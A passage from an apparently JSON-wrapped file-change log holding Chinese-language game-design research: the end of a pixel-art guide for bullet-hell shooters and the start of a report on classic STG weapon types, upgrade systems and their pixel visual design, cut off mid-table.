https://www.gamedeveloper.com/design/the-anatomy-of-a-shmup\n- **Bullet Pattern Design(SHMUP WORKSHOP 03,YouTube)**:渐进难度/预告/引导玩家 | https://www.youtube.com/watch?v=ArZRZSYICLo\n\n### 5.4 像素艺术风格指南(教程/博客)\n\n- **SLYNYRD Pixelblog 31 - Shmup Design Part 1**:分辨率、自机、敌机、子弹、爆炸(本报告核心来源之一)| https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design\n- **SLYNYRD Pixelblog 32 - Shmup Design Part 2**:玩家射击类型(Vulcan/Laser/Homing)、道具、环境/视差 | https://www.slynyrd.com/blog/2021/2/15/pixelblog-32-shmup-design-part-2\n- **Pixel Art Tutorial - Understanding Explosions**(Penusbmic,itch.io 视频教程):爆炸动画两种做法 | https://penusbmic.itch.io/pixel-art-tutorial-understanding-explosions\n- **The 12 animation principles adapted for pixel art**(sprite-ai.art):低分辨率下的挤压拉伸/跟随动作 | https://www.sprite-ai.art/guides/animation-principles\n- **Aseprite / Piskel 爆炸教程**(YouTube 检索词:Aseprite pixel art explosion tutorial)\n- Piskel(免费在线像素编辑器):https://www.piskelapp.com\n\n### 5.5 建议搜索关键词(继续深挖用)\n\n`pixel art shmup sprites`、`bullet hell pixel art assets`、`STG sprite design`、`东方Project 像素风格`、`pixel art explosion animation`、`Touhou danmakufu bullet graphics`、`danmaku bullet sheets site:itch.io`、`shmup hitbox indicator`、`CAVE 子弹精灵拆解`\n\n---\n\n## 6. 给本项目落地落实的美术规范建议(可直接执行)\n\n1. **画布与倍率**:逻辑分辨率 **480×270(推荐)或 320×180**,整数倍放大 3~4 倍输出;所有精灵按 16 或 8 的倍数取尺寸(16×16 自机起步 / 32×32 精细自机;敌弹 8~16×16 系列;Boss 64×64)。\n2. **色板分工(建议)**:\n - 背景:低饱和中暗调(深蓝紫灰系),价值集中在中间调;\n - 敌方子弹:红/粉/紫系(8 色 Danmakufu 色板起步)+ 白/亮描边;\n - 我方子弹:青/绿白系 + 深描边;自机:高对比品牌色(如红白、蓝白);\n - 道具:金/橙(得分)、红(火力 P)、蓝(速度 S)、银灰(Bomb)——注意与敌弹色彩错开;\n - 爆炸:白→橙红黄→灰;\n - 预警:蓄力时变亮/变红,激光先亮细线。\n3. **动画帧数基线**:自机滚转 3~5 帧 + 尾焰 2~4 帧;敌机 2~4 帧;子弹旋转 4 帧(或 8 帧)、脉动 2~4 帧、闪烁 2 帧;爆炸 6~10 帧;道具 idle 2~4 帧。统一 12~15 FPS。\n4. **判定与显示**:自机真实判定用 2~4px 半径小圆,聚焦时显示同心空心圆 + 中心点(半透明+微旋),判定圈与显示圈完全同心。\n5. **绘制顺序(渲染层)**:背景 → 道具/粒子 → 我方子弹 → 敌人本体 → 我方自机 → **敌方子弹(最顶层)**;敌弹内部:小快弹 > 大慢弹。\n6. **工作流建议**:先用 itch.io/OpenGameArt 免费包搭出可玩原型(自机 1 + 敌机 3 + 子弹 5 种 + 爆炸 1 + UI 板),再按上述规范逐一套用原创精灵替换;调色与动画用 Aseprite(付费,推荐)或 Piskel(免费)。\n\n---\n\n## 7. 信息来源与可信度说明\n\n- **基于实测/原文提取的内容**(可信度高,可自行核验):SLYNYRD Pixelblog 31/32 全文、Boghog's bullet hell shmup 101 全文、void-dancer Danmaku Sprite Pack 页面、LivingTheIndie 免费 SHMUP 素材描述、各 itch.io/OpenGameArt 页面标题与标签。\n- **基于第三方社区/百科归纳**:Touhou Wiki 判定点机制(Hitbox 条目)、Maribel Hearn 的 Touhou Jargon、Sparen 弹幕教程、note 上\"15 个美丽弹幕\"文章、Reddit r/shmupdev 讨论——这些是社区整理,非官方文档,具体数值(如判定点像素大小、各作品子弹尺寸)以实际游戏/官方资料为准。\n- **标注为\"既有认知+\"的内容**(第 1.3 节东方风格总结):来自模型训练知识与社区资料交叉印证,非实时官方文档,**未逐一验证**,使用前建议对照东方官方立绘/游戏截图复核。\n- **价格为检索时点快照**(如 $5.50、$4.99),可能变动,以页面为准。", "current_truncated": false, "updated_at": "2026-08-23T12:32:17.013702"}, {"path": "research/weapon_system/weapon_research.md", "baseline": null, "baseline_truncated": false, "created_at": "2026-08-23T12:32:27.760616", "status": "added", "added": 295, "removed": 0, "lines": [{"type": "add", "content": "# 经典弹幕射击游戏(STG)武器系统调研报告", "new_no": 1}, {"type": "add", "content": "", "new_no": 2}, {"type": "add", "content": "> 调研主题:经典弹幕射击游戏(STG / Bullet Hell)的武器系统设计与像素风格表现", "new_no": 3}, {"type": "add", "content": "> 调研日期:2026-08-23", "new_no": 4}, {"type": "add", "content": "> 信息来源:网络公开资料(维基百科、Shmups Wiki、THBWiki/东方维基、slynyrd Pixelblog、各游戏官方/玩家社区资料),详见文末「参考资料」", "new_no": 5}, {"type": "add", "content": "", "new_no": 6}, {"type": "add", "content": "---", "new_no": 7}, {"type": "add", "content": "", "new_no": 8}, {"type": "add", "content": "## 目录", "new_no": 9}, {"type": "add", "content": "", "new_no": 10}, {"type": "add", "content": "1. [概述](#1-概述)", "new_no": 11}, {"type": "add", "content": "2. [玩家武器类型分类](#2-玩家武器类型分类)", "new_no": 12}, {"type": "add", "content": "3. [武器升级系统](#3-武器升级系统)", "new_no": 13}, {"type": "add", "content": "4. [像素风格表现](#4-像素风格表现)", "new_no": 14}, {"type": "add", "content": "5. [像素 STG 武器视觉设计建议(落地清单)](#5-像素-stg-武器视觉设计建议落地清单)", "new_no": 15}, {"type": "add", "content": "6. [参考资料](#6-参考资料)", "new_no": 16}, {"type": "add", "content": "", "new_no": 17}, {"type": "add", "content": "---", "new_no": 18}, {"type": "add", "content": "", "new_no": 19}, {"type": "add", "content": "## 1. 概述", "new_no": 20}, {"type": "add", "content": "", "new_no": 21}, {"type": "add", "content": "弹幕射击游戏(Shoot 'em up / STG,日式弹幕习惯称「弹幕射击」或 Bullet Hell)的核心设计循环是:**在布满敌方子弹的屏幕中移动自机、同时用自机武器持续输出**。因此武器系统承担着三重职责:", "new_no": 22}, {"type": "add", "content": "", "new_no": 23}, {"type": "add", "content": "1. **输出手段**:决定清杂(popcorn)与打 BOSS 的效率;", "new_no": 24}, {"type": "add", "content": "2. **玩法差异化**:不同武器/机体提供不同的操作手感与策略分支;", "new_no": 25}, {"type": "add", "content": "3. **视觉语言**:武器是玩家在屏幕上\"属于自己\"的元素,必须与敌弹、背景清晰区分。", "new_no": 26}, {"type": "add", "content": "", "new_no": 27}, {"type": "add", "content": "本报告以三条经典主线为调研对象:", "new_no": 28}, {"type": "add", "content": "", "new_no": 29}, {"type": "add", "content": "- **东方Project**(ZUN / 上海爱丽丝幻乐团,PC 弹幕标杆,自机武器+符卡 BOMB 体系)", "new_no": 30}, {"type": "add", "content": "- **怒首领蜂系列**(CAVE,街机弹幕始祖,Shot/Laser 双模式 + Hyper 系统)", "new_no": 31}, {"type": "add", "content": "- **雷电系列**(Seibu Kaihatsu,经典街机纵版,多武器切换 + 8 级火力)", "new_no": 32}, {"type": "add", "content": "- 辅以 **R-Type(蓄力/力球)**、**Gradius(升级条/子机)** 等横版经典作补充", "new_no": 33}, {"type": "add", "content": "", "new_no": 34}, {"type": "add", "content": "> 说明:调研发现,任务描述中提到的「东方Project 的幽幽子」并非自机散弹武器,而是《东方妖妖梦》的 BOSS(西行寺幽幽子)。她的招牌弹幕是**蝶弹(蝴蝶形状子弹)大面积散开**,属于\"散布型弹幕\"视觉范式,可作为散弹/散布弹幕的视觉参考;东方自机散弹的典型例子是灵梦 C(Youkai Buster)、魔理沙 A(Spread Star)、东风谷早苗等,本报告两部分都会覆盖。", "new_no": 35}, {"type": "add", "content": "", "new_no": 36}, {"type": "add", "content": "---", "new_no": 37}, {"type": "add", "content": "", "new_no": 38}, {"type": "add", "content": "## 2. 玩家武器类型分类", "new_no": 39}, {"type": "add", "content": "", "new_no": 40}, {"type": "add", "content": "### 2.1 散弹(Spread Shot)", "new_no": 41}, {"type": "add", "content": "", "new_no": 42}, {"type": "add", "content": "**定义**:向前方扇形/多方向发射大量小弹丸,覆盖范围宽、清杂效率高,但单发伤害分散,对单体(BOSS)总伤害通常低于集中火力。", "new_no": 43}, {"type": "add", "content": "", "new_no": 44}, {"type": "add", "content": "| 游戏 | 例子 | 机制与视觉 |", "new_no": 45}, {"type": "add", "content": "|---|---|---|", "new_no": 46}, {"type": "add", "content": "| 雷电系列 | **Vulcan(红色道具)** | 初始武器,升级后弹幕从 2 连装→3→4 连装、散布角逐渐加宽(最多 7 方向);视觉上是一排并排的小弹丸扇形散开 |", "new_no": 47}, {"type": "add", "content": "| 怒首领蜂 | **Shot(点按 A 键)** | 标准\"spread\"散弹,覆盖面比激光宽;Shot Type 强化后散弹密度/威力翻倍;视觉为密集白色/浅色小弹丸 |", "new_no": 48}, {"type": "add", "content": "| 东方 Project | **灵梦 C(Youkai Buster/妖怪破坏者)**、**魔理沙 A(Spread Star/散星)** | 道中清杂强、BOSS 输出低;散布的弹丸+子机(Option)向两侧展开 |", "new_no": 49}, {"type": "add", "content": "| 东方(BOSS 视觉范本) | **西行寺幽幽子的蝶弹(死蝶「華胥の永眠」等)** | 以**蝴蝶形状子弹**大面积散开铺满屏幕,是\"散布型弹幕\"最经典的视觉形态之一 |", "new_no": 50}, {"type": "add", "content": "", "new_no": 51}, {"type": "add", "content": "**设计要点**:散弹的关键是\"扇面角度 + 弹丸数量 + 弹丸间距\"三个可调参数。升级时优先扩展扇面角度或增加弹丸密度,让玩家能直观看到\"火力变强了\"。", "new_no": 52}, {"type": "add", "content": "", "new_no": 53}, {"type": "add", "content": "---", "new_no": 54}, {"type": "add", "content": "", "new_no": 55}, {"type": "add", "content": "### 2.2 集中射击(Focus Shot)", "new_no": 56}, {"type": "add", "content": "", "new_no": 57}, {"type": "add", "content": "**定义**:把所有火力集中在自机正前方一小条区域,单发伤害高(DPS 高),适合贴脸(pointblanking/Shotgunning)打 BOSS,但因覆盖窄需要瞄准走位。", "new_no": 58}, {"type": "add", "content": "", "new_no": 59}, {"type": "add", "content": "| 游戏 | 例子 | 机制与视觉 |", "new_no": 60}, {"type": "add", "content": "|---|---|---|", "new_no": 61}, {"type": "add", "content": "| 东方 Project | **低速模式(按住 Shift)时的射击**:灵梦「博丽灵符/封魔针」、魔理沙「非指向性激光/高速射击」 | 高速移动时是散弹,按住 Shift 进入低速(目押)模式后,射击自动收拢为**前方集中的高伤害火力**;视觉上弹丸从\"散开\"变为\"一束\" |", "new_no": 62}, {"type": "add", "content": "| 怒首领蜂 | **Laser 模式**(见 2.3) | 东方把\"集中\"做成独立模式,怒首领蜂则直接把集中形态做成持续光束 |", "new_no": 63}, {"type": "add", "content": "| 风神录 灵梦 B | **Forward Focus Type(Sealing Needle/封印针)** | 正前方集中射击型,BOSS 战伤害高、道中需要编排走位 |", "new_no": 64}, {"type": "add", "content": "", "new_no": 65}, {"type": "add", "content": "**设计要点**:集中射击通常与\"低速/精确操控\"绑定,视觉上要和散弹形成**一收一放**的对比——弹丸收拢成束、必要时加一条细光束/光线提示\"伤害集中\"。", "new_no": 66}, {"type": "add", "content": "", "new_no": 67}, {"type": "add", "content": "---", "new_no": 68}, {"type": "add", "content": "", "new_no": 69}, {"type": "add", "content": "### 2.3 激光 / 光束武器(Laser)", "new_no": 70}, {"type": "add", "content": "", "new_no": 71}, {"type": "add", "content": "**定义**:持续输出的光束型武器。特点:判定穿透(可打穿一排敌人)、伤害集中、通常伴随机体减速或能量光环(Aura)。", "new_no": 72}, {"type": "add", "content": "", "new_no": 73}, {"type": "add", "content": "| 游戏 | 例子 | 机制与视觉 |", "new_no": 74}, {"type": "add", "content": "|---|---|---|", "new_no": 75}, {"type": "add", "content": "| 怒首领蜂 | **Laser(按住 A 键)** | 大型窄光束,最强武器(对 BOSS 首选);Laser Type 可穿透杂鱼、激活更快;激活时机身周围出现 **Aura(灵气光环)**,贴脸时激光+Aura 双重伤害;使用激光时自机减速便于精确躲避 |", "new_no": 76}, {"type": "add", "content": "| 雷电系列 | **Laser(蓝色道具)/ Plasma Laser(紫色道具)** | 直线激光,升级增加光束数量与威力;Plasma 激光**可吸附高 HP 敌人并弯曲**(追击相邻目标) |", "new_no": 77}, {"type": "add", "content": "| 东方 Project | **魔理沙(Illusion Laser/幻影激光)**、B 型穿透激光 | 穿透型光束;妖妖梦起有\"非指向性激光\"(按住时发射贯穿激光) |", "new_no": 78}, {"type": "add", "content": "", "new_no": 79}, {"type": "add", "content": "**设计要点**:", "new_no": 80}, {"type": "add", "content": "- 光束是**连续**的,区别于散弹的**离散弹丸**——视觉上用粗、直、持续的光柱 + 起点处的光晕做区分;", "new_no": 81}, {"type": "add", "content": "- 激光与\"机体周围光环\"绑定是怒首领蜂的标志性设计,光环既是伤害来源也是视觉提示(\"你现在是激光模式\");", "new_no": 82}, {"type": "add", "content": "- 注意激光模式下机体的移动速度降低,这是手感上的重要反馈。", "new_no": 83}, {"type": "add", "content": "", "new_no": 84}, {"type": "add", "content": "---", "new_no": 85}, {"type": "add", "content": "", "new_no": 86}, {"type": "add", "content": "### 2.4 追踪弹 / 制导武器(Homing)", "new_no": 87}, {"type": "add", "content": "", "new_no": 88}, {"type": "add", "content": "**定义**:发射后自动追踪敌人的弹药。上手简单、道中省心,代价是单发伤害低、无法集中打同一目标。", "new_no": 89}, {"type": "add", "content": "", "new_no": 90}, {"type": "add", "content": "| 游戏 | 例子 | 机制与视觉 |", "new_no": 91}, {"type": "add", "content": "|---|---|---|", "new_no": 92}, {"type": "add", "content": "| 东方 Project | **灵梦 A(Homing Amulet/诱导灵符)** | 非集中模式为追踪弹,自动锁定敌人;集中模式切换为前方直射 |", "new_no": 93}, {"type": "add", "content": "| 雷电系列 | **Homing Missile(H 道具)** | 子武器系统,追踪导弹自动飞向敌人 |", "new_no": 94}, {"type": "add", "content": "| R-Type | **Homing Missile** | 与主炮同时发射的追踪导弹 |", "new_no": 95}, {"type": "add", "content": "", "new_no": 96}, {"type": "add", "content": "**设计要点**:追踪弹必须**视觉上可读——弹丸带明显的\"转弯/锁定\"行为**(一开始直线、接近目标时转向),并常伴随尾迹(trail)以表现导弹感。像素下建议用 1-2 像素的小弹丸 + 短尾迹 + 发光的\"引导火\"。", "new_no": 97}, {"type": "add", "content": "", "new_no": 98}, {"type": "add", "content": "---", "new_no": 99}, {"type": "add", "content": "", "new_no": 100}, {"type": "add", "content": "### 2.5 近战 / 环绕武器(Orbit / Force / Option)", "new_no": 101}, {"type": "add", "content": "", "new_no": 102}, {"type": "add", "content": "**定义**:不(仅)发射弹丸,而是以\"挂在自机上的物体\"进行接触伤害、挡子弹,或跟随自机复制射击。", "new_no": 103}, {"type": "add", "content": "", "new_no": 104}, {"type": "add", "content": "| 游戏 | 例子 | 机制与视觉 |", "new_no": 105}, {"type": "add", "content": "|---|---|---|", "new_no": 106}, {"type": "add", "content": "| R-Type | **Force Pod(力量球)** | 可以发射出去、也可以收回挂在机头的球体;接触敌人造成伤害、可阻挡子弹 |", "new_no": 107}, {"type": "add", "content": "| 怒首领蜂 | **Laser Aura** | 激光激活时机身周围的环状灵气,接触即伤害(贴脸加成) |", "new_no": 108}, {"type": "add", "content": "| Gradius | **Option(子机)** | 发光的无敌球体尾随自机,复制自机射击,可堆 2-4 个 |", "new_no": 109}, {"type": "add", "content": "| 东方 Project | **子机(Option)**:风神录后 P 道具主要增加子机数量 | 子机在自机两侧/前后跟随发射,火力升级的直观表现 |", "new_no": 110}, {"type": "add", "content": "", "new_no": 111}, {"type": "add", "content": "**设计要点**:环绕武器是最能体现\"火力等级\"的视觉载体——**子机数量=火力等级**是东方风神录之后的通用做法,玩家一眼可读。像素下子机用发光的小球/小符纸 + 拖尾即可。", "new_no": 112}, {"type": "add", "content": "", "new_no": 113}, {"type": "add", "content": "---", "new_no": 114}, {"type": "add", "content": "", "new_no": 115}, {"type": "add", "content": "### 2.6 蓄力射击(Charge Shot)", "new_no": 116}, {"type": "add", "content": "", "new_no": 117}, {"type": "add", "content": "**定义**:按住射击键充能,松开时释放一发大威力\"蓄力弹\"。蓄力时间越长威力越大,通常带穿透/范围效果。", "new_no": 118}, {"type": "add", "content": "", "new_no": 119}, {"type": "add", "content": "| 游戏 | 例子 | 机制与视觉 |", "new_no": 120}, {"type": "add", "content": "|---|---|---|", "new_no": 121}, {"type": "add", "content": "| R-Type | **Wave Cannon(波动炮)** | 按住 A 蓄力,蓄力等级(charge gauge)越高波动炮越大越强,可穿透弱敌;R-Type Final 3 有最多 2 段蓄力的强化波动炮 |", "new_no": 122}, {"type": "add", "content": "| 怒首领蜂(近似) | **Hyper** | 蓄能量槽(Hyper Gauge),满后释放一次爆发性强化(更接近\"强化爆气\"而非单体蓄力弹,见 3.5) |", "new_no": 123}, {"type": "add", "content": "", "new_no": 124}, {"type": "add", "content": "**设计要点**:", "new_no": 125}, {"type": "add", "content": "- 蓄力需要**清晰的充能指示**:R-Type 在机身上方显示蓄力槽/蓄力球,蓄力阶段机身周围能量球从小变大、颜色变亮;", "new_no": 126}, {"type": "add", "content": "- 释放瞬间用**大尺寸弹体+全屏震动/闪光**强化\"这一发很重\"的感觉。", "new_no": 127}, {"type": "add", "content": "", "new_no": 128}, {"type": "add", "content": "---", "new_no": 129}, {"type": "add", "content": "", "new_no": 130}, {"type": "add", "content": "### 2.7 炸弹 / 清屏技能(Bomb / Spell Card / 灵击)", "new_no": 131}, {"type": "add", "content": "", "new_no": 132}, {"type": "add", "content": "**定义**:有限的强力保命技:清屏敌弹、短暂无敌、对全场敌人大伤害;部分还能吸道具。数量受限,是玩家\"资源管理\"的核心。", "new_no": 133}, {"type": "add", "content": "", "new_no": 134}, {"type": "add", "content": "| 游戏 | 例子 | 机制与视觉 |", "new_no": 135}, {"type": "add", "content": "|---|---|---|", "new_no": 136}, {"type": "add", "content": "| 东方 Project | **符卡 BOMB(自机符卡)** | 发动时显示角色立绘+符卡名(私人用视觉/命名系统),清屏敌弹为☆道具、全屏吸道具、短时间无敌;数量有限(通常 3 个起步) |", "new_no": 137}, {"type": "add", "content": "| | **灵击(风神录/地灵殿)** | BOMB 变体:不限制次数,改为消耗 Power(见 3.4);风神录灵击为向前推出大型圆环,BOSS战额外全屏判定 |", "new_no": 138}, {"type": "add", "content": "| 怒首领蜂 | **Spread Bomb(散弹炸弹)/ Laser Bomb(激光炸弹)** | 炸弹随当前武器状态变化:散弹状态=中规模清屏;激光状态=前方大型激光束(伤害更高);发动时无敌并消弹 |", "new_no": 139}, {"type": "add", "content": "| 雷电系列 | **Bomb** | 消屏子弹+BOSS区域伤害;按炸弹键到爆炸有短暂延迟 |", "new_no": 140}, {"type": "add", "content": "", "new_no": 141}, {"type": "add", "content": "**设计要点**:", "new_no": 142}, {"type": "add", "content": "- 炸弹的**视觉语言 = 全屏级特效**:闪光、扩散圆环、敌弹化为道具/星星——让\"屏幕瞬间被清理\"的结果可视化;", "new_no": 143}, {"type": "add", "content": "- 东方把炸弹做成\"符卡\"(有名字有立绘)是世界观与玩法结合的最佳范例,值得像素游戏借鉴(起一个帅气的招式名);", "new_no": 144}, {"type": "add", "content": "- 炸弹与武器状态联动(怒首领蜂散弹/激光两种炸弹)可以增加决策深度。", "new_no": 145}, {"type": "add", "content": "", "new_no": 146}, {"type": "add", "content": "---", "new_no": 147}, {"type": "add", "content": "", "new_no": 148}, {"type": "add", "content": "## 3. 武器升级系统", "new_no": 149}, {"type": "add", "content": "", "new_no": 150}, {"type": "add", "content": "### 3.1 道具拾取升级(P 道具 / Power-Up)", "new_no": 151}, {"type": "add", "content": "", "new_no": 152}, {"type": "add", "content": "几乎所有经典 STG 都用\"拾取掉落道具→火力升级\"的模式,区别在道具形态与上限设计:", "new_no": 153}, {"type": "add", "content": "", "new_no": 154}, {"type": "add", "content": "| 游戏 | 道具 | 升级机制 |", "new_no": 155}, {"type": "add", "content": "|---|---|---|", "new_no": 156}, {"type": "add", "content": "| 东方 Project | **红色 P 道具** | 小 P +1(红妖永)、+0.05(风神录)、+0.01(星莲船后);大 P +8 / +1.00。满 Power(Full Power Mode)后 P 道具自动转为其他道具(分数/信仰等) |", "new_no": 157}, {"type": "add", "content": "| 怒首领蜂 | **P(Power Up)** | 4 个 P 达到满级;死亡后主力武器降 1 级、另一武器归 1 级(二周目则双双降 1 级) |", "new_no": 158}, {"type": "add", "content": "| 雷电系列 | **红(Vulcan)/蓝(Laser)/紫(Plasma)/H/M(导弹)** | 同类道具拾取才升级;主武器 8 级满(Vulcan 连装数+散布角递增、Laser 光束数递增);死亡后武器掉落还原 |", "new_no": 159}, {"type": "add", "content": "", "new_no": 160}, {"type": "add", "content": "**设计要点**:", "new_no": 161}, {"type": "add", "content": "- **同类拾取才升级**(雷电)制造\"专注一系武器\"的策略取舍;", "new_no": 162}, {"type": "add", "content": "- 掉道具设计(死亡时爆出若干 P 道具)让玩家可以\"捡回\"部分火力,是容错设计;", "new_no": 163}, {"type": "add", "content": "- 满级后道具转化(东方)避免火力溢出浪费,是一种奖励机制。", "new_no": 164}, {"type": "add", "content": "", "new_no": 165}, {"type": "add", "content": "### 3.2 多级别火力变化", "new_no": 166}, {"type": "add", "content": "", "new_no": 167}, {"type": "add", "content": "- **雷电**:主武器 **8 级**。Vulcan 从 2 连装→3→4 连装、散布角逐步加大;Laser 从单束→多束、光束加粗;是\"逐级可读\"的经典范例。", "new_no": 168}, {"type": "add", "content": "- **怒首领蜂**:**4 级(Level 0–4)**。每级激光每秒伤害递增(如 A-Shot 激光 128→136/132→140/136→144 per 2 frames),火力升级数值化。", "new_no": 169}, {"type": "add", "content": "- **东方**:Power 分级(红妖永 0–128;风神录 0–5.00;星莲船后 1.00–4.00 下限),变化体现在本体子弹数量(早期)或子机数量/排列(风神录后)。", "new_no": 170}, {"type": "add", "content": "", "new_no": 171}, {"type": "add", "content": "**设计要点**:每个火力级别都要有**对应的视觉变化**(弹丸数量、散布角、光束宽度、子机数量),让玩家不需要看 HUD 也能感知当前火力等级。", "new_no": 172}, {"type": "add", "content": "", "new_no": 173}, {"type": "add", "content": "### 3.3 武器切换机制", "new_no": 174}, {"type": "add", "content": "", "new_no": 175}, {"type": "add", "content": "| 游戏 | 切换方式 | 说明 |", "new_no": 176}, {"type": "add", "content": "|---|---|---|", "new_no": 177}, {"type": "add", "content": "| 东方 Project | **高速/低速(Shift)** | 同一武器在两种移动速度下显示\"散弹/集中\"两种形态,一按即切换 |", "new_no": 178}, {"type": "add", "content": "| 怒首领蜂 | **点按 A = Shot / 按住 A = Laser** | 一个键承载两种武器形态;另在选机界面选择 Shot Type(散弹强化)或 Laser Type(激光强化),是\"模式选择\"的鼻祖 |", "new_no": 179}, {"type": "add", "content": "| 雷电 | **红/蓝/紫/绿道具** | 拾取道具即时切换主武器/导弹类型 |", "new_no": 180}, {"type": "add", "content": "| Gradius | **Power Meter(升级条)** | 吃一个道具点亮升级条下一格,按确定键购买(Speed/Missile/Double/Laser/Option/护盾……),买完回卷重来——\"选择顺序\"本身就是策略 |", "new_no": 181}, {"type": "add", "content": "| 怒首领蜂大往生(DOJ) | **Element Dolls(元素人偶)**:Shotia(强化散弹)/Leinyan(强化激光)/EXY(双强化) | 人偶决定强化方向+炸弹容量上限(3-6 / 2-4 / 1-2),强化与资源形成权衡 |", "new_no": 182}, {"type": "add", "content": "", "new_no": 183}, {"type": "add", "content": "**设计要点**:", "new_no": 184}, {"type": "add", "content": "- 武器切换要么做成\"一键瞬切\"(东方 Shift、怒首领蜂按住),要么做成\"有成本的选择\"(雷电道具、Gradius 升级条);", "new_no": 185}, {"type": "add", "content": "- 切武器的代价越小,玩家越倾向频繁换武器应敌(节奏快);代价越大,越需要路线规划(深思熟虑)。", "new_no": 186}, {"type": "add", "content": "", "new_no": 187}, {"type": "add", "content": "### 3.4 东方 Project 的 Power 系统", "new_no": 188}, {"type": "add", "content": "", "new_no": 189}, {"type": "add", "content": "- P 道具是唯一火力来源:早期(红/妖/永)为 **0–128** 区间,小 P +1 / 大 P +8;风神录改为 **0.00–5.00**(小 P +0.05 / 大 P +1.00);星莲船后为 **1.00–4.00** 下限。", "new_no": 190}, {"type": "add", "content": "- 表现载体变化:永夜抄以前\"本体射出的子弹变多\";风神录以后改为\"增加射出的子机(Option)\"——**火力可视化**。", "new_no": 191}, {"type": "add", "content": "- Power 还承担资源职能:风神录/地灵殿的**灵击消耗 1.00 Power**,使用后射击能力减弱,形成\"用资源换保命\"的抉择。", "new_no": 192}, {"type": "add", "content": "- 满 Power 后 P 道具转化为分数/信仰道具,防止浪费。", "new_no": 193}, {"type": "add", "content": "", "new_no": 194}, {"type": "add", "content": "### 3.5 怒首领蜂的强化系统", "new_no": 195}, {"type": "add", "content": "", "new_no": 196}, {"type": "add", "content": "1. **双模式(Shot/Laser Type)**:初代 DDP 引入。Shot Type 强化散弹(更密、更宽、双倍火力)、激光则细且不可穿透;Laser Type 让激光穿透杂鱼、激活更快、光环保留,但散弹变弱。", "new_no": 197}, {"type": "add", "content": "2. **Element Dolls(DOJ)**:见 3.3,强化方向与炸弹容量权衡。", "new_no": 198}, {"type": "add", "content": "3. **Hyper 系统(DOJ 起)**:玩家通过连击、收集蜜蜂、贴脸输出积攒 **Hyper Gauge**,满后掉落 Hyper 道具(上限 5 个);激活时:", "new_no": 199}, {"type": "add", "content": " - 全场敌弹消除 + 短暂无敌(80/120 帧);", "new_no": 200}, {"type": "add", "content": " - 散弹与激光威力暴涨(射出的散弹可消敌弹、激光可挡 BOSS 大激光);", "new_no": 201}, {"type": "add", "content": " - 激活期间敌人喷更多子弹、**游戏 RANK 隐藏难度提升**;", "new_no": 202}, {"type": "add", "content": " - 计时器以机身周围**白色圆环**呈现,圆环消失=Hyper 结束。", "new_no": 203}, {"type": "add", "content": " - 这是\"用强化换难度\"的经典设计——高回报高风险。", "new_no": 204}, {"type": "add", "content": "", "new_no": 205}, {"type": "add", "content": "**设计要点**:怒首领蜂证明\"武器强化\"可以和\"游戏难度自适应(Rank)\"挂钩,让强力火力本身成为平衡杠杆。", "new_no": 206}, {"type": "add", "content": "", "new_no": 207}, {"type": "add", "content": "---", "new_no": 208}, {"type": "add", "content": "", "new_no": 209}, {"type": "add", "content": "## 4. 像素风格表现", "new_no": 210}, {"type": "add", "content": "", "new_no": 211}, {"type": "add", "content": "### 4.1 子弹的像素美术设计(大小、形状、颜色)", "new_no": 212}, {"type": "add", "content": "", "new_no": 213}, {"type": "add", "content": "综合 slynyrd(Raymond Schlitter)的 STG 像素美术教程与弹幕社区经验,核心原则是**可见性(readability)第一**:", "new_no": 214}, {"type": "add", "content": "", "new_no": 215}, {"type": "add", "content": "- **颜色**:子弹应是屏幕上最鲜艳的对象,用高饱和亮色与背景拉开;弹幕游戏普遍选用**红/粉/紫系**作敌弹(不易与背景、自机弹冲突),偶用蓝/黄作功能性区分。", "new_no": 216}, {"type": "add", "content": "- **大小**:大子弹更醒目但占屏更大易显得傻;小子弹容易淹没在特效里。混合多种尺寸:大体型通常暗示更高伤害。", "new_no": 217}, {"type": "add", "content": "- **形状**:圆、椭圆、针、箭、刀、蝴蝶、米粒、苦无、符纸(东方命名体系:小玉/大玉/针弹/米弹/蝶弹/札弹/箭弹……)等独特形状增强辨识度与趣味。", "new_no": 218}, {"type": "add", "content": "- **轮廓线(Outline)**:几乎必须。slynyrd 建议**亮色+暗色双重描边**,或统一用白色描边让子弹在任意背景下可读(敌机/自机用深色描边以区分层级)。", "new_no": 219}, {"type": "add", "content": "- **闪烁**:两帧交替(闪白/闪亮)提升存在感与\"危险感\";但对比过强会让高速移动的子弹难追踪——需要在\"醒目\"与\"可追踪\"之间平衡。", "new_no": 220}, {"type": "add", "content": "- **旋转/脉动**:星星、方形、椭圆可加旋转;任意形状可加轻微缩放脉动让子弹\"活着\"。", "new_no": 221}, {"type": "add", "content": "", "new_no": 222}, {"type": "add", "content": "### 4.2 射击特效(muzzle flash、尾迹)", "new_no": 223}, {"type": "add", "content": "", "new_no": 224}, {"type": "add", "content": "- **枪口闪光(Muzzle Flash)**:自机开火瞬间的短促亮斑,逐帧淡出;体积小但高频出现,应在设计初期预留清晰 sprite。", "new_no": 225}, {"type": "add", "content": "- **尾迹(Trail)**:散弹弹药可加短尾迹表现速度感;追踪弹/导弹必须加尾迹(弯曲轨迹+火光)体现\"制导\"性质;激光可加**束起点光晕**与**目标命中火花**。", "new_no": 226}, {"type": "add", "content": "- **爆炸(Explosion)**:slynyrd 的爆炸公式——圆形向导扩张成变薄圆环 → 转为有机火团 → 白热渐变为暖色再转灰烟 → 缓慢上升消散;热空气\"快速膨胀、渐凉减速\"的物理节奏是让爆炸可信的关键。", "new_no": 227}, {"type": "add", "content": "- **弹道/拖影**:高速敌弹可加残影(ghosting),但残影不能遮挡弹间缝隙。", "new_no": 228}, {"type": "add", "content": "", "new_no": 229}, {"type": "add", "content": "### 4.3 不同武器类型的视觉区分度", "new_no": 230}, {"type": "add", "content": "", "new_no": 231}, {"type": "add", "content": "| 武器 | 视觉语言 | 举例 |", "new_no": 232}, {"type": "add", "content": "|---|---|---|", "new_no": 233}, {"type": "add", "content": "| 散弹 | 大量小弹丸**离散**、扇面、快速连发 | 雷电 Vulcan 并排弹丸;东方灵梦 C 大量小弹 |", "new_no": 234}, {"type": "add", "content": "| 集中/激光 | **连续光束**:粗、直、持续 + 起点光晕 + 命中火花;伴随机身光环 | 怒首领蜂激光+灵气光环;魔理沙穿透激光 |", "new_no": 235}, {"type": "add", "content": "| 追踪弹 | 弹丸带明显**转弯行为**+弯曲尾迹+发光引导火 | 灵梦 A 诱导灵符;雷电 Homing |", "new_no": 236}, {"type": "add", "content": "| 蓄力 | **充能指示器**(机身能量球由小变大/变亮/变色)+ 释放时放大弹体+闪光 | R-Type Wave Cannon 蓄力槽 |", "new_no": 